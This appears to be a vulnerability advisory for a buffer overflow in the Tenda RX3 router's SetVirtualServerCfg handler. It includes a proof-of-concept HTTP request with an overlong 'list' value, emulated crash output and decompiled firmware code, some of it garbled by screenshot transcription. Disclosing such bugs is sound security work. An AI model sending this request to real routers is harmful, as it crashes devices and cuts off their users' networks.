Vendor of the products: Tenda

Affected products: Tenda RX3 US_RX3V1.0br_V16.03.13.11_multi_TDE01

Hardware Link: https://www.tendacn.com/tw/download/detail-3980.html

Vulnerability Description

A buffer overflow vulnerability was discovered in Tenda RX3 US_RX3V1.0br_V16.03.13.11_multi_TDE01, triggered by the list parameter at /goform/SetVirtualServerCfg. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted packet.

POC

send

```
Request
 Pretty Raw Hex □ \n □
 1 POST /goform/Set Virtual ServerCfg HTTP/1.1
 2 Host: 192,168,0,1
3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101
  Firefox/115.0
 4 Accept: */*
5 Accept - Language: en-US, en; q=0.5
 6 Accept-Encoding: gzip, deflate
 7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 8 X-Requested-With: XMLHttpRequest
9 Content-Length: 1005
10 Origin: http://192.168.0.1
11 Connection: close
12 Referer:
   http://192.168.0.1/virtual server.html?random=0.20979016661461847
13
14 list=
   aaaabaaacaaadaaaeaaafaaaqaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq
   aaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha
   abiaabjaabkaablaabmaabnaaboaabpaabgaabraabsaabtaabuaabvaabwaabxaa
   byaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaac
   paacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadq
   aadhaadiaadjaadkaadlaadmaadnaadoaadpaadgaadraadsaadtaaduaadvaadwa
   adxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaa
   eoaaepaaegaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaf
   faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafv
   aafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagma
   agnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaa
   heaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahgaahraahsaahtaah
   uaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaail
   aaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca
   ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaa
  itaaiwaaiwaaixaaivaai
```

You can see that the router has crashed.

```
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
zsh: segmentation fault sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

Code in httpd

In the <code>formSetVirtualSer</code> function, the value of <code>list</code> is first retrieved, followed by a call to the <code>save_virtualser_data</code> function.

```
1 void __fastcall formSetVirtualSer(webs_t wp, char_t *path, char_t *query)
    2 {
    3 unsigned __int8 *v4; // r0
    4
        int v5; // r0
        unsigned __int8 param_str[256]; // [sp+0h] [bp-110h] BYREF
       memset(param_str, 0, sizeof(param_str));
v4 = websGetVar(wp, (char_t *)"list", (char_t *)&byte_7A45B);
save_virtualser_data("adv.virtualser", v4, 0x7Eu);
if ( CommitCfm(v5) )
9 10
   11 {
12
         sprintf((char *)param_str, "advance_type=%d", 2);
13
          send_msg_to_netctrl(5, param_str);
  14
websWrite(wp, *(char_t **)param_str);
ebsWrite(wp, *(char_t **)param_str);
websWrite(wp, *(char_t **)param_str);
17 websDone(wp, 200);
18 }
```

In the save_virtualser_data function, the _isoc99_sscanf function is called to copy the value of the list parameter, but no safety checks are performed, resulting in a buffer overflow.

```
50 else
  51 {
           for (i = 1; ; ++i)
 53
              v7 = strchr((const char *)buf, v11);
5556
            if (!v7)
                break;
• 57
             *v7 = 0;
         v10 = 0;
v10 = (unsigned __int8 *)(v7 + 1);
memset(mib_name, 0, sizeof(mib_name));
sprintf((char *)mib name, "%s.list%d", list name, i);
if ([_isoc99_sscanf(buf, "%[^,]%*c%[^,]%*c%s", lan_ip, in_port, out_port, protocol) == 4])
58
9 59
60
61
  62
63
                sprintf((char *)mib_value, "0;%s;%s;%s;%s;1", out_port, in_port, lan_ip, protocol);
64
                SetValue(mib_name, mib_value);
 65
66
              buf = v10;
 67
           memset(mib_name, 0, sizeof(mib_name));
sprintf((char *)mib_name, "%s.list%d", (const char *)list_name, i);
if ( _isoc99_sscanf(buf, "%[^,]%*c%[^,]%*c%s", lan_ip, in_port, out_port, protocol) == 4 )
69
9 70
  71
72
             sprintf(
  (char *)mib_value,
  "0.% - % - % - % - 4"
  73
                  '0;%s;%s;%s;%s;1",
  74
                (const char *)out_port,
(const char *)in_port,
  75
  77
               (const char *)lan_ip,
                 (const char *)protocol);
  78
9 79
             SetValue(mib_name, mib_value);
  80
           }
81
           v8 = i;
82
           v9 = i + 1;
           sprintf((char *)ct, "%d", v8);
sprintf((char *)mib_name, "%s.listnum", (const char *)list_name);
83
```